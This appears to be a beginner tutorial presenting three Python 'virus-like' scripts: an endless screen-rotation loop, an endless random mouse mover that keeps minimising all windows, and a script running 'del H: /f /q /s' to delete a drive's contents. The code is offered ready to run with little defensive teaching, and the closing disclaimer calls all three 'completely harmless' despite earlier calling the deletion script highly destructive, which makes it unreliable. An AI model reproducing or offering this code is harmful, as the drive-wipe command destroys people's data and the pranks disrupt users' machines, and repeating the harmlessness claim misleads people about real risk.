How to Create Simple Python Scripts to Understand Malware Behavior

Simple Python Scripts to Understand Malware Behavior

Ethical hackers and cybersecurity experts need to understand how malware works in today's digital world. This article walks you through three simple Python scripts that mimic virus-like behavior - purely for educational purposes. These scripts will help beginners understand how malicious code can affect a system, giving them the knowledge they need to build strong security. Remember, this guide is only for learning and ethical hacking, not for causing harm.

Script 1: Display Rotation Script

Required Libraries:

This script continuously rotates your display to create a disorienting effect. It's a fun way to understand how certain viruses can manipulate screen functions, though it's essential to use this responsibly. Here's how to create it:

• time (pre-installed)
• rotate_the_screen (install using pip install rotate_the_screen)
• pywin32 (install using pip install pywin32)

Code Explanation: This script rotates the screen by a certain number of degrees, and by putting it into a loop, it continuously rotates the display at random angles, making it very annoying.

 

import time
from rotate_the_screen import RotateScreen
import win32api

angles = [90, 180, 270, 360]  # Angles to rotate

while True:
    for angle in angles:
        RotateScreen.rotate_to(angle)
        time.sleep(2)  # Pause for 2 seconds before next rotation

Script 2: Mouse Movement Automation

The second script automates random mouse movements and minimizes all open windows. Malware often uses this kind of code to disrupt user interaction.

1. Required Libraries:

   • pyautogui (install using pip install pyautogui)

2. Code Explanation:
   The script moves the mouse cursor to random screen positions and triggers hotkeys to minimize all open windows.

import pyautogui
import random
import time

while True:
    x, y = random.randint(0, pyautogui.size().width), random.randint(0, pyautogui.size().height)
    pyautogui.moveTo(x, y, duration=0.5)  # Move mouse to random position
    pyautogui.hotkey('win', 'd')  # Minimize all windows
    time.sleep(2)

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Script 3: Dangerous File Deletion (For Educational Use ONLY)

This script has the potential to be very harmful. It is designed to delete the contents of a specified drive. This type of code is highly destructive and should never be run on a real system.

1. Code Explanation:
   The script uses the os module to delete a selected drive's contents.

import os

try:
    os.system('del H: /f /q /s')  # Replace 'H' with the drive you want to delete
except Exception as e:
    print(f"Error: {e}")

Disclaimer:

these three viruses are completely harmless and they are just for fun! By the way, I don't encourage you to try it on anyone, so do not try to harm or annoy anyone, they are just for knowledge purposes so do not try them on anyone's computer without their permission even if they are harmless.

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